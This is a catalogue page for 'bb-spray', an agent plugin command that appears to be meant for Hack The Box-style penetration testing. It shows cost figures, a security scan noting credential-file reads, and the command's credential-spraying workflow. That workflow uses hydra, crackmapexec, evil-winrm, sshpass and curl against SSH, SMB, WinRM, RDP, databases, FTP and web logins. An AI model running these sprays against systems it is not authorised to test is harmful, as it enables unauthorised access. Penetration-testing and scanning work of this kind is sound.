Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/allsmog/blackbox-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-spray)<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-spray"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-spray.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00009 | $0.01534 |
| Opus 5 | $0.00005 | $0.00767 |
| Sonnet 5 | $0.00002 | $0.00307 |
| Haiku 4.5 | $0.00001 | $0.00153 |
Grade B, and why
bb-spray scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reads agent configuration directoriesmediumAgent snooping
.claude/, .codex/, .gemini/ hold keys, settings and other credentials a mod has no legitimate need for.
cat .claude/blackbox-htb.local.md | grep -A 20 "## Credentials" Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -X POST http://TARGET/login \ How it starts
The opening of the file, as written. The whole thing — 227 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Credential Spray
Purpose
Tests discovered credentials against all identified services. Uses credentials from the state file or accepts manual input.
Workflow
Step 1: Load Credentials
Check state file for discovered credentials:
# Read from state file
cat .claude/blackbox-htb.local.md | grep -A 20 "## Credentials"
Or use provided credentials:
- Username:
{{user}} - Password:
{{pass}} - Target:
{{target}}
Step 2: Identify Services
Check which services are available for testing:
# From state file or nmap results
TARGET="{{target}}"
# Quick service check
nmap -p 22,445,5985,3389,3306,5432,21,23 -sV --open $TARGET
Step 3: Spray Credentials
SSH (Port 22)
# Using sshpass
sshpass -p 'PASSWORD' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 USER@TARGET
# Using hydra
hydra -l USER -p PASSWORD ssh://TARGET
# Using crackmapexec
crackmapexec ssh TARGET -u USER -p 'PASSWORD'
SMB (Port 445)
# CrackMapExec
crackmapexec smb TARGET -u USER -p 'PASSWORD'
# Check shares
smbmap -H TARGET -u USER -p 'PASSWORD'
# Access share
smbclient //TARGET/SHARE -U 'USER%PASSWORD'
WinRM (Port 5985)
# CrackMapExec
crackmapexec winrm TARGET -u USER -p 'PASSWORD'
# Evil-WinRM
evil-winrm -i TARGET -u USER -p 'PASSWORD'
RDP (Port 3389)
# xfreerdp
xfreerdp /v:TARGET /u:USER /p:PASSWORD /cert-ignore
# CrackMapExec
crackmapexec rdp TARGET -u USER -p 'PASSWORD'
MySQL (Port 3306)
mysql -h TARGET -u USER -p'PASSWORD' -e "SELECT 1;"
PostgreSQL (Port 5432)
PGPASSWORD='PASSWORD' psql -h TARGET -U USER -c "SELECT 1;"
FTP (Port 21)
# Using lftp
lftp -u USER,PASSWORD TARGET -e "ls; quit"
# Using ftp
echo -e "USER\nPASSWORD\nls\nquit" | ftp -n TARGET
Web Login (HTTP)
# Form-based login
curl -X POST http://TARGET/login \
-d "username=USER&password=PASSWORD" \
-c cookies.txt -b cookies.txt -L
# Basic auth
curl -u USER:PASSWORD http://TARGET/admin/
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 227 lines · 9 tokens per session scan B d3ac7454f0b7
bb-spray is a command published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 9 tokens to every session and 1,534 once invoked, about $0.0000 per session on Opus 5. A static security scan graded it B with 2 findings (reads agent configuration directories, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
pentest
Activate pentest mode — displays ASCII art, configures session isolation, collects engagement scope, then OWNS the engagement: pre-flight, recon, planning (via the pentester-orchestrator planner), executor dispatch, a time-budget quota loop, aggregation, and report generation.
pentest-attacks
Define the attack profile for an engagement — select which attack categories and skills to use. Saves to .pentest-attacks.json. If run before /pentest:pentest, the orchestrator will respect the selection. If run standalone, does not launch a pentest.
pentest-scope
Define or update engagement scope — saves scope to disk without launching a pentest. Can be run before or during an engagement. If a pentest is active and the target changes drastically, warns the operator and suggests a new engagement.
pentest-kali
Connect to a Metasploit-Kali Server (MKS) REST API — verifies connectivity, discovers available Kali tools, and configures agents to prefer MKS endpoints over local Bash equivalents.
pentest-exit
Close pentest session — summarizes findings, ensures outputs are saved, lifts isolation, and prompts for /clear.
unpack
Detect and remove binary packing/protection.